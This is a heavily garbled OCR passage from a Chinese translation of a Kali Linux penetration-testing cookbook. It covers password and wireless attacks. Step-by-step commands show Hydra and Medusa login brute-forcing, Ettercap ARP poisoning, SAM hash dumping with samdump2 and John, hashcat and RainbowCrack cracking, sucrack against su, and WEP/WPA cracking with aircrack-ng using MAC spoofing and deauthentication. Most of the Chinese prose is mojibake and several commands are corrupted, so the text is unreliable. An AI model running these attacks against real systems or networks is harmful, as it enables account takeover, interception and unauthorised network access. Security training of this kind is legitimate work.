) Target List
Prefer IPVG
Port 0
Protocol afp
Output Options
7 Use 551

[T Be Verbose

1 Debug

A

2. MAKMN L2 Hydra 374 T » KA FZREXRN L5 & o K& passwords (%
1%

) AR o RNEFRERRAP LI KA EmI| & o ARG R P LA K5 &8
(flé%ﬁiﬁ]ﬁlf%) Fa Try empty password

B o FlifikiF Loop around users
H) e

o M p4%7|

f{ ¢ /usr/share/wfuzz/wordlist/fuzzdb/wordlistsuser-passwd/names/nameslist.txt

o EH T

N

f{ ¢ /usr/share/wfuzz/wordlist/fuzzdb/wordlistsuser-passwd/passwds/john.txt

R VMR R 0 eI 77 X > RE\EZFFRIERITALIHAALET O -

(K2

9.“4"



Iarqet! Passwords imm Specific Start

Usermmame

(O Usemame E'youmame |
O Usemname List fwdinames/namelist.tx{
¥ Loop around users
Passwor®
() Password | yourpass
O Password List iasﬁwdfpasz-wdﬁf}ﬂhn.txt!

Colon separated file

] Use Colon separated file

[ Try login as password & Try empty password

hg.rdra V-L jfhent'e‘stj‘ul-rebﬁifuzzfﬁurdlisﬁ"'fhzzdhhmrdlisté—user—passwdf... A

3. To» KATEM—LIB% o £ performance options (AT ) T » AV KES%E
16 ZEH 2 RAARMNTATF X 2 4 # BB/ IHSEMEERRT - BRERZ
Tkt o EAVbAE %% Exit after first found pair (ZBREZIMICEZGERE) &

151: o




§ Target Passwords Tuning Specific Start
B Performance Options

Number of Tasks E B

Timeout 15 ¢

¥ Exit after first found pair

B Use a HTTP/HTTPS Proxy
| O No Proxy ") HTTP Method "1 CONMNECT Method

Proxy | http://127.0.0.1:8080
[ Proxy needs authentication

Usemame | yourname

Password | yourpass

R hydra -V -L fpentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/... 4

B BB RERMNGBAR o B Target (BAR) HFZE RN AL E KNG B AzFo L o
2 s &A414% A Metasploitable AL ( 192.168.10.111 ) # MySQL 3% 2 ©

4
&

Target passwords Tuning Specific Start
Target
O Single Target 192.168.10.111
) Target List
[l Prefer IPVG
Port 0 :
Protocol mysql [ v
Output Options
[ Use 55L ] Be Verbose
show Attempts ] Debug
hydra v -L fjpentestwebiwfuzziwordlist/fuzzdb/wordlists-userpasswdf... 4

5. mE&RMNAF start (F4) WFE RN start H4EF R FHk &



Target Passwords Tuning Specific Start

| Output
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposs

|Hydra (hitp:/fwww.thc.orgfthc-hydra) starting at 2012-08-29 07:27:17

[[DATA] 2 tasks, 1 server, 5926956 login tries (1:1907/p:3108), ~2963478 trie
{[DATA] attacking service mysgl on port 3306 |
[[ATTEMPT] target 192.168.10.111 - login "0" - pass " - 1 of 5926956 [child (
;[A'I'FEMFT] target 192.168.10.111 - login "01" - pass "" - 2 of 5926956 [child
|{[ATTEMPT] target 192.168.10.111 - login "02" - pass "" - 3 of 5926956 [child
[ATTEMPT] target 192.168.10.111 - login "03" - pass "" - 4 of 5926956 [child|

— -
[ 1|
-E_H:art” _Stop _Save Output | ."f:iear Dutput"_
hydra -V -L !periestfwebmﬁ:zzmﬂrdlist.l'ﬁmdhrﬂurdiists-user-paﬁwd..f... y
ITAEJR3E

BB T > &AVE A Hydra k2t B A7 #0475 8230 E o Hydra AF&A148 < B 47 » H A2 A
R P Ae BB I & o MR & ARAD| R TR R P4 Fe B WA R IFH B o

8.2 7 ff HTTP % 4%

BAEAE P > KAV R4 A Hydra %8 55004 £ R AR HTTP %45 o B sbf= Web & A 817 17
BE G AP LA FRIAE RIER o BT R LUK AP AT RGP ES o

EE
FEANRMGERLIHEM G5 LFEZ— 6 AT EL M -
BAF T B

TERAT 46 B A HTTP %45 o

1. EFF#EEF > %

# Applications | Kali Linux | Password Attacks | Online Attacks | hydra-gtk °



Target| Passwords Tuning Specific Start
Target
O Single Target [127.0.0.1
~) Target List
] Prefer IPVE
Port 0 s
Protocol lafp | v
Output Options
[ Use S5L [ Be Verbose
[ Show Attempts [ Debug
hydra -1 youmame -p yourpass -t 16 127.0.0.1 afp y

2. MAKMN L2 Hydra 374 T » KA FZRE RN G EL5] & o K& passwords (%

) RER o EMNEZRAA P LI RAEHIIKR o ARG P 240 % H 5| R 691z
& o Bl i %iF Loop around users (f}ﬁﬂ:ﬁi)ﬂ)ﬂ}ag> Fa Try empty password <'Jf¢5h'§’:§
) oo

o R P47

%3 /usr/share/wfuzz/wordlist/fuzzdb/wordlistsuser-passwd/names/nameslist. txt
o 7|

f‘ﬂ: /usr/share/wfuzz/wordlist/fuzzdb/wordlistsuser-passwd/passwds/john. txt

R VMR R 0 e 77 X > RE\EEFFRIERITALHAALET O -



Usemame

() Usemame |yourname |
0 Usemame List wdﬂlamesa'nameiist. 1'
¥ Loop around users
Passwor®
() Password | yourpass
O Password List asswd/passwds/john.txt |

Colon separated file

[ Use Colon separated file

(7] Try login as password # Try empty password

hydra -k mﬁﬁtﬁewwfuzﬂwurdlistl'fuzzdbf#nrdiisi:s—user—passwdf,.. A

3. To» KATEM—LIB% o £ performance options (AT ) T » AV KES%E
16 ZEH 2 RAABKMNTATF X2 4 # BB/ IHSEMEERRT - BRECRZ
Tkt o EAVbAE %% Exit after first found pair (ZBREZIMICEZGERE) &

Iﬁ‘l: o



| Target Passwords Tuning Specific Start
Performance Options

Number of Tasks B i

Timeout (15 |§

¥ Exit after first found pair

i Use a HTTP/HTTPS Proxy
© No Proxy ) HTTP Method () CONMNECT Method

Proxy | http://127.0.0.1:8080
] Proxy needs authentication

Usemame |youmname

Password | yourpass

{ hydra -V -L /pentest/webjwfuzz/wordlist/fuzzdb/wordlists-user-passwd/... ;

4. B BB RERMNGBAR o B Target (BAR) HFZE RN AL E KN B AzFo il o

R
K E > &AL A Metasploitable £4L ( 192.168.10.111 ) # HTTP 3% 2 o



Target | passwords Tuning Specific Start
Target
O Single Target 1192.168.10.111
() Target List i '
[ Prefer IPVG
Port 0 &
Protocol | mysql 2

Output Options

[0 Use SSL [ Be Verbose

Show Attempts ] Debug

hydra -V -L /pentest/web/wluzz/wordlist/fuzzdb/wordlists-user-passwdy/... 4

B &AM B E start (FF%) 2B T start 4K B FHkF o

Target Passwords Tuning 5peciﬂc5tart

[ Output
[Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposdj

{Hydra {http://www.thc.orgfthc-hydra) starting at 2012-08-29 07:27:17
[[DATA] 2 tasks, 1 server, 5926956 login tries (1:1907/p:3108), ~2963478 tric|
[[DATA] attacking service mysgl on port 3306

![M‘I’EM PT] target 192.168.10.111 - login "0" - pass "" - 1 of 5926956 [child (§
|[ATTEMPT] target 192.168.10.111 - login "01" - pass " - 2 of 5926956 [child|
[[ATTEMPT] target 192.168.10.111 - login “02" - pass ** - 3 of 5926956 [child]
;[ATI'EM PT] target 192.168.10.111 - login "03" - pass " - 4 of 5926956 [child}

e -

||Start; |_ Stopl |_ Save Output | | Clear Gutqu i

hydra - -L r‘DE[ICESWEﬂMfUZZM{IrdIiSt.FfUZZdDMDfdliSES-USE'FDHSSWdI. N A

8.3 RiF#% v 17 9]

IR T 0 BA141E A Medusa k # AT HBRA & -



LA FEMNLTMBEAEZF o MEBFRRNMINBERAZLGIEE » SRTERALLETHEMN
FARIRBEYEAQ R FHALLE, c BOHRELRATREEREGESL c A SHELYW
BETROHEALTHEL IR IEBHE » B F L IABHE D TkLE -
A%

TR EEREFEM R ARG TTEA c L FEETHGKH R o

A B

1. EFBRET > 5

9] Applications | Kali Linux | Password Attacks | Online Attacks | medusa ° %

Medusa B #/Ja * €4 mm# help (#H8h) TH -

foofus.net] (C) JoMo-Kun / F letworks =<jmka@

mand-line options.

README for more information.

d, [s] P d = Use

different parameter each time and they will be sent to t
-m Paraml -m Para

TCP port number

2. EZMM A2 sy EA k=N Medusa °

medusa -M http -h 192.168.10.1 -u admin -P /usr/share/wfuzz/ wordlist/fuzzdb/wordl
ists-user-passwd/passwds/john.txt -e ns -n 80 -F

o -mhttp AFRMNIGEARR o X E » KABLHFT HTTP £k o

© -h 192.168.10.1 AFEANIB T T o X E » HAN1&EHF T 102.168.10.1 (B w8 [P
Hohk) o

© .y admin AFEMNBERAP c LEZERMEHFET admin ©



© -p [location of password list] A HF&ANIE T AL | L6912 E o

-e ns AWRMNBE A EBERE o ns REAFRNEARN P LA ES > 3
BAR R EHA -

o

-n 8o AFEMNBEH 5 o XELKANLET 8o °

o

o

-F ATVFRAVE R REIN P o F A A Z e 5 bR o

3. Medusa £3E47» #ZRATAR P LA B ML » HB| L KR -

IAEJR 32

IAFLEE P > KA1 A Medusa R IFEAE B AR h BB o 48495 IAEMIFRARA » — 24k
BT RREE R TUREHFCHERE  RETHRAERGFE  RFEELETTHEES
B RERATIRGFEGILE o

25

AR AT VA B 3 A4 44735 4T Medusa » i iF 42 A\ medusa 4 °
RALT AEAN L TR Medusa » RETRGFEN - @ FEARLF I » AL ELKKE D

AXARAEN medusa K T °
A LA
T @2 &ATT AR T Medusa 89423k 3] & :

e AFP

e CVS

e FTP

e HTTP

e IMAP

e MS-SQL

e MySQL

e NetWare

e NNTP

e PCAnywhere
e Pop3

e PostgreSQL
e REXEC

e RLOGIN



e RSH

e SMBNT

e SMTP-AUTH

e SMTp-VRFY

e SNMP

e SSHv2

e Subversion

e Telnet

¢ VVMware Authentication
e VNC

e Generic Wrapper
e Web form

8.4 %M AT
BAALAE T » RN 2 F B o BB L EIAPHED o FAEHHE B R AFRIBLK

FAAANME - LEUARLBHE L RFR E PG EEI] & o ERINNGHEAEF » KIT121EA
Ettercap #» €4 ARP &1ty ik k"R IKAF ©

%
BB BB R 3 4
BAE T B

1L &A1 2 % Ettercap k#47 % A4 547 o

1. &ATABCE Ettercap k46 X AALAE o B2 0 RATRE €09 B E TAHH A VIM %€

locate etter.conf
vi /etc/etterconf

2Ed o ROEETRAR -

2. ¥ ec_uid #7 ec_gid XA o ©

# nobody 1is the

# nobody is the

[mitm] |

3. TE&RMNEFEZBE T @ IPTABLES 176928 c €A FA L REN LInux —F ©



5. &MA B L — 2K o IRT A% T shift + u XFF R FE LT
9 sniff | Unified sniffing... °

% ettercap 0.7.4.1

File | Sniff | Options Helo

6. LHEMBID o

" e&ercap iﬁput

@ Network interface : |ZEE | v |

| OK Cancel |

7. T &A% scan for hosts (FFHEM) » T AB IR T ctrl + s RIFFEEE
%) Hosts | Scan for hosts %f"tﬂﬁk °



% ettercap 0.7.4.1

aw Mitr

8. I £ KA14E 9%k Ettercap 424K T o RT AT ctrl + w 5 ] F £
89 start | start Sniffing (JF4"24K) o

ettercap 0.7.4.1

9. kB » KN4 #4IT ARP F1L o 5 7] £ 42469 mitm | Arp poisoning (ARP #&fk) o

% ettercap 0.7.4.1

Tar 1ets Hosks View r-,-1_[_r|

=
10. BN EF P > %P sniff remote connections ("RARTAZHEIE) AL o

* MITM Attack: ARF Poisoning

Optional parameters

& [Sniff remote connections,
[T Only poison one-way.

oK [ | Cancel

1. BEATFTREER  RINASEFEIEE -



« ettercap 0.7.4.1

7587 mac vendor fingerprint

1766 tcp OS5 fingerprint

2183 known services

Randomizing 255 hosts for scanning I
Scanning the whaole netmask for 255 hosts

3 hosts added to the hosts list
Starting Unified sniffing

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list) I

12. "E&/ﬁ] 'ﬁ'z‘@] T&/ﬂ] %Ejiﬁﬁﬁ‘:é& (Iﬂ}aZ%ﬂ 9?_%,5,%) o &ﬂ]/ﬁ\f(]ﬂ Ettercap o /f,)j:T:TV/(j_rE_
T ctrl + E XA G FE L start | stop sniffing (1P 4E) KR TR o

I AE)a 3

EAALAE T 0 &AL A Ettercap k&1L M 2 B M 2 L 69 B P & Ao B o RATAFHA 15
X Ettercap ¥ B B U4 k745 - G KA1 % T Ettercap #14& 1 ARP AL HATF H A
(MITM) #&F - b TAEZHRELTGR KNG I > AP LB EML EEEN > KA130
feas A Bl el o



2%

E AT 45 A Metasploit k24 A P &A@ o &A1 238 EAF F 3 RaR Al 5 B AR 3k R $AT

’E:o

1. A7 %% 4 2 3+ 2 5 MSFCONSOLE :

msfconsole

2. WERMBEESR

search email collector

msf = search email

closure Date Rank

auxiliary/gather/search email collector normal

use auxiliary/gather/search_email collector

4, KT aAERTT R 8%

show options

opt1ons
Module options (auxiliary/gather/search_email—cellecter)

Current Setting Required ' Dascription

msf auxiliary(

5. T@RAXERSL o o RFBMA XM EKKNE » 5 CHRFRE o

6. KL RAMAZLIEL ¢



set domain gmail.com

7. BEMALM c BALRAELFN o WwRRITEETSEALE RITEMBELREBEITEAN
xEEHFREE

o

set outfile /root/Desktop/fromwillie.txt

s auxiliary| ) = set domain gmail .com

) = set outfile /root/Desktop/fromwillie.txt
op/ fromwillie.txt
st auxiliary ) =

8. W5 KM EH -

run

*] Writing email address list
Auxiliary module execution comp .._—_1 .__~.j

auxiliaryf ) >

8.5 1# 1 John the Ripper %%/ Windows & %

BAHLEE 0 &A144% A John the Ripper 5k ##% Windows €415 M| E & % (SAM) XH# o
SAMSU ik 5 T BAR AR P 69 P L An B 8oh A o B TRAR % » SAMTUAHE A 424k
B’ > F BT AL Windows 2 AETF AETFHATFREAH o

%

7% & F 215 7] SAM TH o

RAFLAE P RAVBARAR 48957 9] 3£ & Windows E A ©

BAE T B

1k & A48 1% A John the Ripper #% # Windows SAM U4 © ffkﬂ]f?xuﬁ"r B85 15 19 X
Windows A » @ RAEAAE » REY LAk o F AAeo58 3 USB & DVD B 5 &
Linux °

2
j= 4
Je 7 Kali

. AAREE R

Fdisk -1



2. BRZAEL > I target RATHHERE o
mount /dev/sdal /target/

3. % B & A Windows SAM #4942 &

cd /target/windows/system32/config

4. FIEBEXFPAAEAS -

1s -al

5. 1% A SamDump2 kB » I LK EIMRE root Al P B F P 89—/ hashes #9
A& F o

samdump2 system SAM > /root/hashes/hash.txt

6. ¥ B %74 John the Ripper A7/ B % ©

7. 47 John the Ripper :

./john /root/hashes/hash.txt
./john /root/hashes/hash.txt-f:nt (If attacking a file on a NTFS System)

8.6 FIL &

BABFET > BNEBITTFREL AT RO KE - FRAFEMNFALEOEDES > F 2
AR 9 5 IR GG R PR B A B o BT A R F A i AR

+ RARAPL:PNEARSHRAPL o
+  ARHEBEFRALHESL -
+ RPEAEE I REHARGRA P LA B o

FTEx B8 » RA1MEA Cruench k4 &A1 8 T oy F L 7
B %
F 24 Kali L% % Crunch

BAE T B

Kali #9454 £ 2.2 %% T Crunch » 1% BackTrack °



lcrunch ve

ICrunch ce The outout from cru

inch can

U »: crunch =min= <m

whera min and max are numbers

crunch.

PL :ase refer to the man page

= |
2. 1A Crunch & & % a5 8 K K8 %

Pl [minimum length] [maximum length] [character set] [options] °

3. Crunch A LAY &R o —LF AT
o .o ! BABAAFMHRIETH BT R L ARFALE

o b I BABRFAAFRBETHEMSHGRKRF T E - KT AA KB/IMB/GB %1%
s FFH LA _o START AR K 35 —AefE i o

o -t ! B’BABAAFMRIE AT S o

o .1 A -t @A ZAHIRAFRA FAFAR IR A B AL AF
( @ > 9% 0 N ) o
4. T@ERMNPATH S RAERDLQIRELI X > €& 8 MF& 0 &K 10 MFH » FHAL

R %7 % ABCDEFGabcdefgo123456789 °©

crunch 8 10 ABCDEFGabcdefg0123456789 -0 /root/Desktop/ generatedCrunch.txt

Crunch will now generate the following number

5. — 2 A KRT M £414£ )8 Nano kAT A4 :

nano /root/Desktop/generatedCrunch.txt

TAERE

IAFFE P HEAERA T Crunch kA R EALF T & o



8.7 1 M # o &

IANFEE P RN ZE] efTE Kali PR E o Hir g L4 FTRE > €12 RbAERER
ThARAEGFHRFL R TRAFH o ETFEF B » £4141¢ A RainbowCrack & 24 s & o

BT R
1. IS5 E 2 B ZHA regen 898 F ¢

cd /usr/share/rainbowcrack/

:~# cd /usr/share/rainbowc rack

:Jfusr/share/rainbowcrack# I
2. TEERMNERF rtgen RAERKLT MD5 9% 2k o

./rtgen md5 loweralpha-numeric 1 5 0 3800 33554432 0

m IEI |:_ IEJ':-

3 —EHHAAERTE RHBRXLEL rt X RBRTATARSAGLES K
T RAFE2~7 NI e

4. AT AL » KA1 A rtsort BB R BEF AL L E G TIEA -

IAE)R 3

TABLEE P » £ 4112 T RainbowCrack X & & 24 %, ~ $EF F= 5 i MD5 % 45 o
RainbowCrack #64%1% A% ko R B ffob A » AT — R AL 5 H 1l - KNAER B 575
18 & R, MD5 # & Sk FH46 o A RE » BIOTRACIE T Kk » H4E A € RS A L
P o



8.8 1& Al Eh A L% — 1T H % & %M (CUDA)

BAFFEF » ROV RBX A —THH R ERM (CUDA) kA A& 754 o CUDA £ —4
FAAUEFS > RIEA A GPU 89 58) kARITH AL AR o [ A B ] 69 R 0 GPU 894 S 48
HA T RBIERS » ZIERMNEBECRA THAERG - B TERB G » KI14EA
CudaHashcat-plus sk #% fi# % A5 o

M %
F % CUDA FT X389 & F R R AL 4% o
e B
1. AT %% % v 4% B %24 OclHashcat-plus F7 & B % ©

cd /usr/share/oclhashcat-plus

s fusr fshe
charsets C . i example.dict oclExampled00, sh
cudabExample0.sh ‘ ashcat .hcstat oclExample500.sh

cudaExampled00. sh .has oclHashcat-plus. bin
cudaExample500. sh o1 ash 0Cc IF xampleO.sh rules
: /usr/share/oclhashcat/pluss |}

2. #ATT 7|44k B % CudaHashcat-plus & # B sC#F :

./cudaHashcat-plus.bin -help

3. 1247 CudaHashcat #91% % & cudaHashcat-plus.bin [options] hash [mask] °
1 Fl OclHashcat 89 € 2 X — 2B EHFRHEZEW -

4. fE BT KL FZAT  IE RN EFE A —RT A ZSEH & E - CudaHashcat Eb‘(%‘?ﬁi)ﬂ
kA o R0 F A RIS R 5 0 ARy H EFe B IR o T A s ART
AALBEZFERFHE - B TRMNOB G ENERATHOGFHE o

5 ATHRAZNXTHE £ 1 BN - KNTUAREEZZVAILTFHE A%

ACMNBER N ((1-n ) c BEMARXFHAGET (2 ) kAT FAMERT
R o TR %EFA

o df&EHF (0~9)
o 1T ANEFH
o uHETKREFH
o s BITHHRFTH

o 1-n MEAMELFGE T LFHE -



6. BAEFeMNAsLk RIMNABET—PMATNFHE CABEHRFTH (s ) * K5
FHE (u) »IEFE (1) ARF (d) > ARKEA BHES - KAITHBE
X attackfile él]"/a\ﬁ%fi °

./cudaHashcat-plus.bin attackfile -1 ?1?u?d?s 21?1?7171 ?1?171?1

7. BMNTAKZIAGELEZIHEIFY
o ./cudaHashcat-plus.bin P T CudaHashcat °
o attackfile A& #& 118695 & LH -

o 17212wd? WETHENLFHE 1 > CELEIEFEH S REFH - HFFERF

o
o 917172171 AERFHE 1 G LA o
o 217172171 AERFHE 1 9 E KA o
BTHERT o

8.9 1¢ i] ATI Stream

EAFLEE P o KA1 412 A ATI Stream k5% ¢ B #5254 o ATI Stream £4LT CUDA > B A €&
—AFATHAEFE o e TER AR GPU 894887 kAR A+ MR8 o M & B 1R 8943 - GPU
BRI EE A T WA AR RIERNAEBFCRMTHERY - B THEFB » KNMEA
OclHashcat-plus *k # ## % 7% - OclHashcat & A At hR & : plus ## lite ° A ANAR &84 Kali F o

%

&% % F ATI Stream 8 & F &k TR AL o
BAE S

1k A 44 1% ]l OclHashcat-plus °

. ATFRLSHE R v % B & OclHashcat-plus P72 B % o

cd /usr/share/oclhashcat-plus

:/usr/share/foclhashcat-plus# 1ls
charsets siLELE t-plus.bin example.dict oclExampled0n. sh
cudaExample0, sh =] . cat.hcstat oclExample500, sh

cudaExampled00. sh cernels oclHashcat-plus. bin
cudaExample500,.sh e ash ocLlExamplel.sh rules




2. #AT T 44 % B # OclHashcat-plus & # By U4+ :

./oclHashcat-plus.bin -help

3. 3247 OclHashcat 8913 % & oclHashcat-plus.bin [options] hash [mask] ©
% A OclHashcat #9 & 8 X — B CH FHELEH -

4., EHEMNTFHEKFZAT L KNAFEFA LT HEGE®E o OclHashcat 2%k & F1¢ A £
HHeRL o FAL ) T RIEAL R 0 B A AFe A o T HEANIA > RT WL
AEBEZFRIFHFE - ETEHRNOBAY » BN A THOFHE -

5 ATHRAZAXTHE  HIEMA 1 &R - KNTUAREEZRSHAILTHE A%
7“7’2’1’1]%‘ R—NFME (10 ) cHEMARZXFHABERES (2 ) kAT FAMEET
FRA o TR EHAERE

o d HEHF (0~9)

o 1 WENEFH

o uMEXREFE

B RBRTFH

o 1.n HEAMEAEF AT LFHE -

6. K EMNAEAK  BNRBLT —IMATLFHE COEHARTH () » X5
FE (u) *IBFEF (1) F&F (d) >  ARKEHN 8HE - KRAITHEE M
# attackfile 897 & o

o

./oclHashcat-plus.bin attackfile -1 ?1?u?d?s ?1?1?1?1 ?1?17?17?1

7. EMNTAFZ AL LI -
© ./oclHashcat-plus.bin B JH T OclHashcat °
©o attackfile A& ATHYZSH A o

T KRBT RFRHKRT

Jﬂ

o 17l7u?d? BWETHEZXLFHE 1 » CEAEIE
5o

o 217171721 AMF R FHE 1 9 LA o
o 21717171 AMF R FHE 1 9 EEA o
BMERT o

8.10 47 ¥ 1% IF] ¥ K



EAFLEE R > K A14 48 SUCrack kAT M5 Rl B A & o SUCrack &4 % &2 L

£

A&

et su RPATAMWA P WP BRI AR © Linux 89 su AT IREABXRA P K
Grd o IAKEH  BARAAGRAEA T AT ERK Linux ALNEFTAR » 122 23 H
AR BTLE AR E R AR G H &R & o

SUCrack ¥ JUAF &3k 69 =T F 4 4

--help RHFREFR CHH B ILA o

1 AHREERERNZRETEFGA P o

-s AHFREERTHRIHE B A o BKIAEAH 34 o
a AVFIREE A G ANSI 45 LR o

w RVAREE TEAARGEF - & T SUCrack & % & A28y » IR-TLETIEE % 894
A2 o ;?kﬂ]#fi%% PR NG AABRIAMNBEZEZREZ KT ARLIAAETA
=4yt

BAET S

. A T48)0 SUCrack » R EZ LB FHIS T LT K o TN » RAIFE — KI5 E0GE 4 o
ATH LB E O HIAT sucrack 94 o B FRMNG B8 > KNS EAIATOIEHA R LE
18 7] & LA 2 ©d Crunch & & o 125% » R A ©AEfT A4 2 09 2147 5] & o

sucrack /usr/share/wordlists/rockyou.txt

Jo RARIT HR B AATAELAR > UEE 6 B F—REHS & > 5 BAEA ANSI 4% LK
B AR T g A T 5 44

sucrack -w 2 -s 6 -a /usr/share/wordlists/rockyou. txt

BIRERT o

IAE)R 3

TAFLEE P > K A14£ A SUCrack &2t & 4.9 root A P AT R 15 l?-] &“@55‘(% o f% i #137] &
B ETUAEER (KIN) RBF TP IT o BA1ELT sucrack T4 2 €A KRNIMATH

&+ o



FBNE LA E

Y% : Willie L. Pritchett, David De Smet
FEH A

L ¢ CC BY-NC-SA 4.0
sk
] A

B A RARMGHATIL o TR P @AE » XK M &R FIRZIKRM 7 18 7 Xk

FARTAE c RAMBGH T RAEA A E —BRN  CHAREURKRNEERE LS  c X—F
P RN ELR LM FTRARBEUALEAME AT LOESAHLERLEANLE o

9.1 WEP L 4 M % 5 %

WEP (E &%) T 1999 Fit4 » A LZATREEAMEL N RFE L %4474 o £ 2003
¥ » WEP % WPA A& Z G WPA2 B, o &1 T T ul4E Al 8 e 4 89 3L » WEP s B4R
AT o £k > EHARKZRESETN WEP mE RRIPIRGR % o HiF % Choth 7 X ksl
WEP A% » A ERMNEZ A MREFLAFELREFIZ— o

IAFLEE P 0 KA1L4EH AirCrack &4k # f WEP %4 o AirCrack £%4 ( & AirCrack
NG) & WEP #= WPA B 5 fR42 )7 » © 2 INB LA M B3 6, » 47 e » 48 A X 4B %
B AR WEP %75 o

%

ATHRITZIANREZEFOES > FRKall £ F 03 - LEZLIFHNRETHOLAN
Fo ATHEEN  EREMFOB TP » HEEATRINALZH G KRB CEAZRNT L
BEIHEFT FHARBOLEAM FAFROCEN  BAFTRITALEW T XFE -
BRAE 5%

1k ZA1H46 1% A AirCrack kL AAWEP #a 8 69 M & 21& o

1. TALRBEO » FFAERGREGH I & ¢

airmon-ng

=# airmon-ng



https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

2. [t interface 7| T » % FMGFE X — o XL » ZM1E A wiane ° e RARGFET RE »
542 mone * HHEFEANIRE] wlane GHLFT ER B R E o

3. T &A% 2421k wiane #2 > FleC X W > BT RAVET K15 K MAC Hodik o

airmon-ng stop
ifconfig wlan® down

4, T BATEBA5 KK T MAC Mt o & THLE 8 MAC iﬂaiﬂ:/\ﬁfiﬂﬂ q %%+ ARz
R B o 5B AR RATFRIIEHE L E S MAC Hoht o X E » K148

JH 00:11:22:33:44:55 °©

macchanger --mac 00:11:22:33:44:55 wlan®

5 MAERMNEFEZES airmon-ng °

airmon-ng start wlan®

6. T > £A121E A airodump K TALIRITEG T A R AM % o

airodump-ng wlan®

7. BN THEEAMSL T & o —FRKB THREZLEGMEL » T ctrl + ¢ RIFIE
# &k o Bssip 7| PH) MAC bk » HRHGR R4z A AL%EZH o At » eMEEA
B EIANRE 912 510 F T o RE L channel 7] PRF| X AMZ & o X E » ZAIRE

)24

8. IAEIEAT airodump * FFEAFPTE Bssip W91 BB H B LT - KNA4ERA T 7k ¢
o ¢ AERMNBEBEFNE - LEERMNZEPF 10 ©
o -w AWERMNBBFLHLMAR o X EKRNTEH wirelessattack ©

o _pssid A HFEANIEIF &N Bssp © X E » RAVM T MEM LA 09:ac:00:AB:78 ©

airodump-ng -c 10 -w wirelessattack --bssid 09:AC:90:AB:78 wlan@®

9. HUH O LA FRFEANSNAE o REZSF OAE o

10. A F—AH%EHET > AT ZRAESEN » ZN1ELT aireplay ° CIA T 7|iE

* aireplay-ng -1 0 -a [BSSID] -h [our chosen MAC address] -e [ESSID] [Interface] °

aireplay-ng -1 0 -a 09:AC:90:AB:78 -h 00:11:22:33:44:55 -e backtrack wlan®



M. To > RINRXE—LAETLEIE B THR-LRIE o KINAKRIEM aireplay * AT

7 K aireplay-ng -3 -b [BSSID] - h [Our chosen MAC address] [Interface] °

aireplay-ng -3 -b 09:AC:90:AB:78 -h 00:11:22:33:44:55 wlan®

12. WG BHBEFEBAETIEH o« B CBAT—3Am54T » BERIMA TR RIATHARGAZ
Q‘O

AN

13. )z &A13E47 AirCrack %k 3 % WEP %44 -

aircrack-ng -b 09:AC:90:AB:78 wirelessattack.cap
HIRERT o

IAEJR 32

B ZABAE T » AV T AirCrack £ kA A  4 M 2869 WEP %25  AirCrack & & AT
4 WEP # fi# T A2 — o AirCrack @ik & WEP R & & #HM3t kT 2 Beo@d AR
AT FIE R AR WEP Ao B B0 o £41i8 3 & #h AirCrack % 4# X MNBEGHE O R4 - T
@ EAMEKR T MAC Hhk » XA FERAME R LM L6 Gy » XG4 A airodump 4 E T A
M RAMSG kX E o —LENKRI TATELENOMEL > ZA1EA aireplay RFERNOME S
AR FGEEEEHN MAC AL X8 o RATREBERER T —RAE » LBERIAHBE R
CAP U #k RIF R A EA o

5.2 WPA/WPA2 % 2 M 4 3% fi&
WPA (R &R 35 1F) T 2003 Fue 4 » # B4 %RP £ AR % F B T i 69 @ 47 8 WEP 78]
# o WEP & WPA AR Z 5 ) WPA2 K% o &1 T A 42 & ose A0l » WEP R V£ T

IAFLEE P K148 A AirCrack &4 & % 2 WPA %45 - AirCrack £4 (& AirCrack
NG) & WEP #» WPA B B2 5 » CINIL M 43t 6, » 947 A7 o 48 A 3 S 438 ol AR
WPA %5 ©

%
ATHIFEARET OS> FEKall L8 EF T HED - LERE LHOREFHREA

FToRATHEEAN - EREARFOBTF > HEEAFGRINREH G IBCEAZ AT LT
BRI ERT -

AR5



1k &A1 464% A AirCrack k2 FEWEP 4n % 89 M % 215 o

AT ALREB O A AREMBE NI K

airmon-ng

~# alrmon-ng

2. [t interface 7| T » % HFMGFE O — o XL » f1EH wiane ° e RARGFET RE »
5] 4e mone * HFIFHEANRE] wlane ¥ T AR E ©

3. T &A% 2421k wlane 9 > FleE X H > BT RAVET K15 7% MAC Hodik o

airmon-ng stop
ifconfig wlan® down

4. T RAEB5RKRNMNED G MAC 3t o &1 THLE 6 MAC Hoit & & AE4T R % E Az
R B » FERME AR RATFRIEHE L E S MAC Hoht o X E » KA1

Fl 00:11:22:33:44:55 ©

macchanger --mac 00:11:22:33:44:55 wlan@

5. MAEKMNEEER airmon-ng °

airmon-ng start wlan®

6. T » KATL1EM airodump R TALMUAL T Rl R A& M % o

airodump-ng wlan®

7. ﬁ/ﬁ\&ﬂﬂgﬂﬂ TAMBET &R o —BARKRD THREEZLFOMEL » 3T ctrl + ¢ RiF1E
& o %P Bssip 7| F 89 MAC ik » & FHRE9 KAz » 9{%_&1\ R4 o BB » Je M % E
BAMAIREIZ T2 F TR o RE/E channel 7| PRF|IZAMZE - XL » IANAIE

=2

& 10 °
8. M AEIEAT airodump * FFEIEPTiE Bssip 8912 B E A B U o A1 &AE A T 7]
o ¢ AWHRNMBEFNE - XL FRANKF 10 ©
o w AWRMBFEIHL AR o X EZRAEHF wirelessattack ©

o _pssid AFHRNEZFLKN Bssip ° X E » RATM T AR L4 0L 09:AC:00:AB:78 ©



airodump-ng -c 10 -w wirelessattack --bssid 09:AC:90:AB:78 wlan®

9 HHBF LT HETIANGTAHEE - REFEZINFoAE o

10. 3T A —ANEREa » AT ZRAESEN » KA1E4T aireplay ° CIMA T I]E

* aireplay-ng -1 0 -a [BSSID] -h [our chosen MAC address] -e [ESSID] [Interface] °

Aireplay-ng --deauth 1 -a 09:AC:90:AB:78 -c 00:11:22:33:44:55 wlan@

11. #J& #A1EA4T AirCrack k2 AE WEP %25 o .w #AAFEIE L £ 5] K642 B o &
e A FE w8ty cap XA o TE > I LM A wirelessattack.cap °

Aircrack-ng -w ./wordlist.lst wirelessattack.cap
RRERT o

IAEJR 32

B ZAFFE T 0 KAMEA T AirCrack £ kA2 £ & M %69 WPA %4 o AirCrack A& K RAT
